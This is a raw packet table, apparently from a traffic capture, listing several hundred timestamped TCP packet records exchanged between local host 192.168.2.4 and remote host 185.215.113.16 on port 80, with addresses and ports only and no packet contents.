Oct 31, 2024 04:16:22.614469051 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614483118 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614484072 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614500046 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614504099 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614522934 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614523888 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614533901 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614540100 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614556074 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614572048 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614578009 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614597082 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614603996 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614615917 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614620924 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614633083 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614639997 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614650011 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614658117 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614675045 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614691019 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614708900 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614725113 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614739895 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614754915 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614758968 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614772081 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614783049 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614789009 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614804029 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614806890 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614821911 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614830971 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614861965 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614875078 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614892006 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614908934 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614928961 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614938974 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614938974 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.614945889 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.614984989 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615061045 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615076065 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615099907 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615101099 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615117073 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615123987 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615133047 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615135908 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615150928 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615155935 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615169048 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615169048 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615185022 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615185976 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615201950 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615211010 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615219116 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615226030 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615236044 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615242958 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615253925 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615258932 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615271091 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615284920 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615295887 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615305901 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615319967 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615336895 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615336895 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615344048 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615384102 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615636110 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615652084 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615667105 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615689993 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615720034 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615782976 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615802050 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615842104 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615933895 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615951061 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615967035 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615976095 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.615983963 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615999937 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.615999937 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616018057 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616019011 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616025925 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616034985 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616050005 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616051912 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616074085 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616075993 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616091013 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616100073 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616106987 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616122961 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616127014 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616139889 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616157055 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616162062 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616173983 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616189003 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616189957 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616208076 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616216898 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616224051 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616235018 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616240025 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616255045 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616265059 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616270065 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616285086 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616292953 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616300106 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616308928 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616328001 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616375923 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616576910 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616592884 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616607904 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616621971 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616636038 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616636992 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616650105 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616652966 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616676092 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616684914 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616692066 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616700888 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616722107 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616725922 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616739988 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616761923 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616776943 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616777897 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616796017 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616816998 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616818905 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616844893 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616844893 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616862059 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616863012 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616878033 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616883993 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616894960 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616908073 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616911888 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616923094 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616940975 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616946936 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616955042 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.616964102 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616981030 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.616996050 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.617003918 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.617031097 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.617047071 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.617065907 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.617080927 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.617084980 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.617120981 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.617242098 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.617285013 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.617397070 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.617415905 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.617429972 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.617438078 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.617460966 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.617470026 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.617484093 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.617489100 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.617505074 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.617512941 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.617531061 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.617532969 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.617567062 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.689744949 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.689759970 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.689775944 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.689819098 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.689851046 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.695278883 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.695302010 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.695343971 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.695359945 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.695384979 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.695425987 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.699985981 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.700007915 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.700037003 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.700052023 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.700057983 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.700079918 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.700112104 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.732300043 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.732320070 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.732336998 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.732361078 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.732362986 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.732391119 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.732434034 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.773372889 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.773420095 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.773433924 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.773449898 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.773488998 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.773531914 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.778280020 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.778297901 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.778311014 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.778337002 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.778351068 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.778359890 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.778381109 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.778389931 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.783004999 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.783021927 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.783035040 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.783058882 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.783075094 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.783075094 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.783088923 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.783104897 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.783113003 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.783132076 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.783154964 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.789184093 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.789201975 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.789217949 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.789242983 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.789256096 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.789258003 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.789269924 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.789294004 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.789304018 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.794950008 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.794976950 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.794991016 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.795006037 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.795022011 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.795022964 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.795056105 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.795066118 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.801050901 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.801081896 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.801096916 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.801111937 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.801129103 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.801131964 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.801148891 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.801178932 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.805779934 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.805794954 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.805816889 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.805830956 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.805840015 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.805844069 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.805870056 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.805886030 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.810482979 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.810508966 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.810523033 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.810538054 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.810549974 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.810556889 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.810565948 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.810587883 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.810604095 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.815247059 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.815273046 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.815288067 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.815310001 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.815325975 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.815341949 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.815355062 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.815375090 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.819979906 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.820003033 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.820030928 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.820030928 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.820050001 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.820050001 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.820066929 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.820069075 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.820082903 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.820085049 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.820101976 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.820117950 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.824690104 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.824708939 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.824732065 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.824754953 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.824760914 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.824781895 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.824807882 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.829432011 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.829456091 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.829469919 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.829485893 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.829499960 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.829503059 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.829516888 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.829534054 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.829566956 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.834230900 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.834289074 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.834306002 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.834322929 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.834340096 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.834346056 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.834373951 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.834393024 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.839004993 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.839021921 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.839073896 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.839157104 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.839173079 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.839188099 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.839198112 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.839201927 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.839252949 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.839277029 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.843719959 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.843736887 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.843784094 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.843826056 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.843851089 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.843866110 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.843867064 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.843888044 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.843919039 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.848424911 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.848440886 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.848462105 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.848489046 CET	49891	80	192.168.2.4	185.215.113.16
